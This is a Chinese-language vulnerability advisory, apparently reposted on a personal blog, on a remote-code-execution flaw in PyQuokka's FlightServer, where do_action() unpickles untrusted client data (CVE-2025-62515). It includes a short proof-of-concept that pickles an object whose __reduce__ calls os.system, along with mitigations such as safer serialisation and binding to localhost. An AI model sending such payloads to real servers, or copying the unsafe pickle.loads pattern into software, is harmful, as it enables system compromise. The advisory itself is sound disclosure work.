PyQuokka框架远程代码执行漏洞分析
漏洞概述
在PyQuokka框架的FlightServer类中,do_action()方法直接使用pickle.loads()对来自Flight客户端的动作体进行反序列化,未进行任何清理或验证,导致远程代码执行漏洞。
受影响版本
- 受影响版本:<= 0.3.1
- 已修复版本:无
技术细节
漏洞位置
漏洞代码位于pyquokka/flight.py第283行,其中来自Flight客户端的任意数据直接传递给pickle.loads()。
攻击场景
当FlightServer配置为监听0.0.0.0时(如第339行提供的服务器示例所示),网络上的攻击者可以通过set_configs动作发送恶意的pickle载荷来执行任意远程代码。
其他漏洞点
除了set_configs动作外,以下函数也包含漏洞点:
cache_garbage_collectdo_putdo_get
这些函数都使用pickle.loads来反序列化不受信任的远程数据。
漏洞复现
步骤1:启动易受攻击的服务器
server = FlightServer("0.0.0.0", location = "grpc+tcp://0.0.0.0:5005")
server.serve()
步骤2:构造恶意载荷
class RCE:def __reduce__(self):import osreturn (os.system, ('ls -l',))import pickle
action_body = pickle.dumps(RCE())
action = pyarrow.flight.Action("set_configs", action_body)
当服务器收到此载荷时,FlightServer.do_action()方法在第283行调用pickle.loads(action.body.to_pybytes()),通过Python的pickle反序列化机制触发恶意代码执行。
影响范围
- 完全系统沦陷
- 数据泄露
- 网络内横向移动
- 拒绝服务攻击
- 持久后门安装
缓解措施
替换不安全的反序列化
使用更安全的替代方案替换pickle.loads():
- 简单数据结构使用JSON序列化
- 复杂数据使用Protocol Buffers或MessagePack
- 如果必须使用pickle,实现自定义Unpickler并限制
find_class()方法仅允许白名单类
网络安全
- 如果服务仅用于内部使用,绑定到localhost(127.0.0.1)而不是0.0.0.0
- 实现身份验证和授权机制
安全警告
在公共接口上启动服务时,显示明确的安全警告以告知用户风险。
参考信息
- GHSA-f74j-gffq-vm9p
- https://github.com/marsupialtail/quokka/blob/master/pyquokka/flight.py#L283
- https://nvd.nist.gov/vuln/detail/CVE-2025-62515
安全评分
- CVSS总体评分:9.8(严重)
- EPSS评分:0.285%(第52百分位)
弱点分类
- CWE-502:不可信数据的反序列化
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码

